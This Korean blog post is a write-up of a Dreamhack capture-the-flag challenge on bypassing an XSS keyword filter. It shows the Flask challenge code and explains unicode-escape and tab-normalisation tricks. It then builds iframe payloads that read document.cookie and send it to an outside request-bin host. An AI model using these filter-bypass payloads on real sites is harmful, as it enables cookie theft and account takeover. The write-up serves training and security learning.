외로운 Nova의 작업실

dreamhack 웹해킹 - 16(XSS Filtering Bypass Advanced 풀이) 본문

Web Penetesting/Web Vulnerability

dreamhack 웹해킹 - 16(XSS Filtering Bypass Advanced 풀이)

Nova_ 2023. 2. 16. 16:43
<iframe%20src="javasc%09ript:wi\u006edow.locatio\u006e.href='https://igpoxqg.request.dreamhack.games'"/>

- 문제인식

 

xss 필터링을 우회하는 문제입니다. 그럼 서버코드를 보겠습니다.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

위코드에서 중요한점은 /flag 페이지에서 payload를 주면 urllib.parse.quote()함수로 url 인코딩을 진행한다는 점입니다. 이후 인코딩된 문자열을 이용해서 접속합니다.

 

- exploit 설계

먼저, 필터링 부분을 보겠습니다.

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

script, on, javascript, window, self, this, document, location, (, ), &#등을 필터링하고있습니다.

1. on이벤트를 통한 자바스크립트 처리를 하고싶지만 html인코딩인 $#을 필터링하고있어서 하기 어렵습니다.

2. <script>구문으로 자바스크립트 처리를 하고싶지만 script를 필터링하고있어서 하기어렵습니다.

3. javascript: 스키마와 url 정규화를 통해서 javascript를 실행시켜야할것같습니다.

또한 서버에서 webdriver를 사용하기때문에 ifram태그를 사용해야합니다. 먼저 /vuln페이지에 접속해서 param값을 주면서 xss 필터링 우회가 성공하는지 체크해보면서 페이로드를 작성하고, 이후 그 페이로드를 urllib.parse.quote()함수에 맞게 특수문자를 없애주는 방식으로 해보도록 하겠습니다.

 

- exploit 준비

간단하게 iframe을 사용해서 www.exmple.com으로로 쿠키값을 보내는 html 코드를 작성해보겠습니다.

<iframe src="javascript:window.location.href='www.example.com?flag='+document.cookie"/>

이제 위코드를 기반으로 필터링을 우회해보겠습니다.

 

<window, on, location 우회>

자바스크립트의 유용한 기능중에는 unicode를 전처리한다는 것입니다. 즉, location이 아닌 locatio\u006E로 작성해도 자바스크립트 해석기가 location으로 해석한다는 의미입니다. 이를 통해서 아래 사이트로 들어가 유니코드값을 알아보면서 필터링 우회 코드를 작성하게되면,

<iframe src="javascript:wi\u006Edow.locatio\u006E.href='www.example.com?flag='+docume\u006Et.cookie"/>

위와 같이됩니다. 여기서 중요한점은 javascript:는 자바스크립트코드가 아니기에 unicode 전처리가 통하지않고 문자열의 경우에도 통하지않는다는 점입니다. 즉 위 코드를 실행하면 iframe객체는 아래와 같은 url로 접속할것입니다.

javascript:wi\u006Edow.locatio\u006E.href='www.example.com?flag='+docume\u006Et.cookie

이떄, javascript:는 자바스크립트 스킴이기때문에 유니코드에 영향을 받지않고 아래부분만 영향을 받는데, 문자열은 영향받지않습니다.

wi\u006Edow.locatio\u006E.href='www.example.com?flag='+docume\u006Et.cookie

 

<javascript 우회>

URL 접속에 유용한 기능중 하나로 정규화가 있습니다. 우리가 쓰는 URL은 정규화를 거쳐 dns에게 질의를 하게됩니다. 예를 들어 url의 첫번쨰와 마지막 공백을 없애거나 모두 소문자로 변경하는 등이 있습니다. 더 자세한 부분은 chatGPT에게 물어봤습니다.

예를들어서 tab키가 정규화 되는지 알아보겠습니다. tab키를 raw하게 뽑기위해 파이썬을이용합니다.

이후 간단한 html을 만들어줍니다.

<html>
<head>

</head>
<body>
    <a href="javasc		ript:alert(1)">clickme</a>
    
</body>

위 코드를 실행시켜 a태그를 눌러주게되면,

정규화 과정을 거쳐 tab이 없어지므로 javascript:alert(1)과 같은 결과가 나옵니다. 하지만 a태그나 iframe등 src 속성 및 하이퍼링크부분에서는 가능하지만 직접 브라우저에 url로 작성하면 되지않습니다. 보안상 필터링이 있기때문입니다.

실제 브라우저에서 하게되면 자바스크립트가 실행되지않고 tab이 이스케이프처리되어 검색결과가 나오는 것을 확인할 수 있습니다. 한가지 더 알아야되는점이 있는데, 바로 url의 파라미터부분은 정규화되지 않는다는 것입니다. 또한 quote함수와 get함수는 url입장에서 봤을때 역관계에 있습니다. quote함수는 url인코딩을해주고 get함수는 파라미터를 url디코딩을 해서 입력값을 받아들입니다. 아래와 같은 파라미터부분이 있을때

www.example.com?flag=<a%20href="javas%09cript:alert(1)">clickme</a>

get방식은 %09를 raw한 tab키로 변경해줍니다. 아래처럼 말입니다.

www.example.com?flag=<a href="javas	cript:alert(1)">clickme</a>

따라서 /vuln페이지에서 %09를 javascript 사이에 껴서 param을 주게되면 필터링은 피하고 return 값으로 raw한 tab키가 포함된 url을 얻을 수있습니다.

<iframe%20src="javasc%09ript:wi\u006edow.locatio\u006e.href='https://igpoxqg.request.dreamhack.games'"/>

url에 쓴 %09는 request.get()에의해 tab으로 변경됩니다.

- exploit

a태그 및 iframe의 하이퍼링크의 링크는 정규화과정이 진행됨을 이해하고 javascript 필터링을 우회하고, 자바스크립트 부분에 유니코드 인코딩을 이용해 on, location,document를 우회하는 것에대해서 이해하셨다면 아래와 같은 코드를 짤 수 있습니다.

<iframe%20src="javasc%09ript:wi\u006edow.locatio\u006e.href='https://vuxtufd.request.dreamhack.games?flag='%2Bdocume\u006et.cookie"/>

성공률을 높이기위해 url 인코딩을 해줍니다.

<iframe%20src="javasc%09ript%3awi\u006edow%2elocatio\u006e%2ehref%3d'https%3a%2f%2fvuxtufd%2erequest%2edreamhack%2egames%3fflag%3d'%2Bdocume\u006et%2ecookie"/>

실제 해보면 /vuln페이지에서 해보면

hackingtool서버로 접속해서 ip를 받아오는 것을 알 수 있습니다. 이제 param값을 작성해봅시다. param은 우리가 post 입력값을주면 quote처리하기때문에 quote처리후에 위와 같은 코드가 나오게끔 하면됩니다. quote함수는 url인코딩 및 유니코드 디코딩도합니다.

 

실제 %09는 아래의 흐름으로 진해됩니다.

/vuln?param quote get() java    script
tab tab %09 tab tab

quote함수를 고려해서 아래처럼 쓸 수 있습니다.

<iframe src="javasc	ript:wi\u006edow.locatio\u006e.href='https://vuxtufd.request.dreamhack.games?flag='%2Bdocume\u006et.cookie"/>

실제 제출해보겠습니다.

플래그값이 온것을 확인할 수 있습니다.

 

- 정리

이번 문제 방어기술의 우회는 아래와 같은 기능으로 우회합니다.

1. 자바스크립트의 유니코드 디코딩 기능

2. URL 정규화 기능(a, iframe처럼 하이퍼링크 한정)

3. quote함수와 %09의 흐름

Comments